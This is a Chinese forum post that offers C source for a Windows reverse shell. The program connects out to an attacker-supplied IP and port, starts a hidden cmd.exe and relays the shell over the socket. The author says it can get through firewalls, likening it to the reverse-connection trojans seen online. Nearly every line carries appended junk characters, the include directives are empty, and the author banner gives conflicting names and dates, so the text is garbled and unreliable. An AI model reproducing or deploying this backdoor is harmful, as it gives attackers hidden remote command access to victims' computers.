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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 K )k<Rh[<  
eO[b1]WLP  
/* ============================== (0kK_k'T  
Rebound port in Windows NT @2v_pJy^  
By wind,2006/7 2gVm9gAHUd  
===============================*/ 2SR:FUV/  
#include t#eTV@-  
#include !m?-!:  
d9|<@A  
#pragma comment(lib,"wsock32.lib") .Rf_Cl  
hqkz^!rp  
void OutputShell(); URbletSBQ  
SOCKET sClient; x# 5A(g  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; pIKPXqA  
,U dVNA  
void main(int argc,char **argv) 4x[S\,20  
{ 07=mj%yV  
WSADATA stWsaData; t}/( b/VD  
int nRet; \mlqO[ S  
SOCKADDR_IN stSaiClient,stSaiServer; "|KP'<8%  
qK&d]6H R  
if(argc != 3) [0D .K}7|  
{ ijx0gh`~  
printf("Useage:\n\rRebound DestIP DestPort\n"); |*tp16+6  
return; k~ /Nv=D  
} ( Px OE  
FH+s s!  
WSAStartup(MAKEWORD(2,2),&stWsaData); ZLAy- 9^Y  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); wZZt  
Rr|VD@%  
stSaiClient.sin_family = AF_INET; i@M [>~  
stSaiClient.sin_port = htons(0); Alw3\_X  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); %z 4Nl$\  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) B~Xw[q  
{ ))'<_nD  
printf("Bind Socket Failed!\n"); ~zNAbaC+>t  
return; XAL1|] S  
} y7Df_|Z  
#|PS&}6wU  
stSaiServer.sin_family = AF_INET; Z!X0U7& U  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); KRDmY+  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); q.`NtsW!\+  
k7A-J\  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) x{/g(r={}  
{ 5iyd Z  
printf("Connect Error!"); WbqWG^W  
return; Czu\RXJR  
} SQt 4v"  
OutputShell(); O#S.n#{  
} A '];`  
{fn!'  
void OutputShell() o`N  9!M  
{ _[ZO p ~  
char szBuff[1024]; < F+l  
SECURITY_ATTRIBUTES stSecurityAttributes; HEc+;O1<  
OSVERSIONINFO stOsversionInfo; XFV!S#yEZ  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; X1vd'>  
STARTUPINFO stStartupInfo; M{hg0/}sUW  
char *szShell; ]1pIj i[  
PROCESS_INFORMATION stProcessInformation; 3fQuoQuD"}  
unsigned long lBytesRead; !^Y(^RS@  
6MdiY1Lr!K  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 0T5L_%c  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); B%+T2=&$7  
stSecurityAttributes.lpSecurityDescriptor = 0; IG9VdDj  
stSecurityAttributes.bInheritHandle = TRUE; ]^K 4i)\  
>%8KK|V{  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); =]Jd9]vi  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); .$)  
2Ny"O.0h  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ,>+p-M8ZL  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; WKa~[j|-K  
stStartupInfo.wShowWindow = SW_HIDE; ^V Zk+'4  
stStartupInfo.hStdInput = hReadPipe; a\ YV3NJ/A  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; PQ$%H>{  
m:o<XK[>  
GetVersionEx(&stOsversionInfo); ;)^`3`  
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switch(stOsversionInfo.dwPlatformId) :^3LvPM  
{ V~;1IQd{  
case 1: ve2u=eQ1  
szShell = "command.com"; bTs?!~q  
break; yT9@!]^L  
default: % 0+j?>#X  
szShell = "cmd.exe"; i5?q,_  
break; R>mmoG}MQ[  
} I- >Ss},U  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ! lc[  
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send(sClient,szMsg,77,0); HLaRGN3,  
while(1) (7=!+'T"  
{ +8Ymw:D7a  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); VYImI>.t{  
if(lBytesRead) bsA-2*Q+  
{ DG ;_Vg  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); {vyv7L  
send(sClient,szBuff,lBytesRead,0); )6,=f.%  
} z]`k#O%%)  
else .I0qGg  
{ Jk=I^%~  
lBytesRead=recv(sClient,szBuff,1024,0); _k ~KZ;l  
if(lBytesRead<=0) break; l &5QZI0I  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 1--C~IjJ+  
} Ay w ;N  
} fbKkq.w  
!1{e|p 7  
return; q0R -7O(  
}
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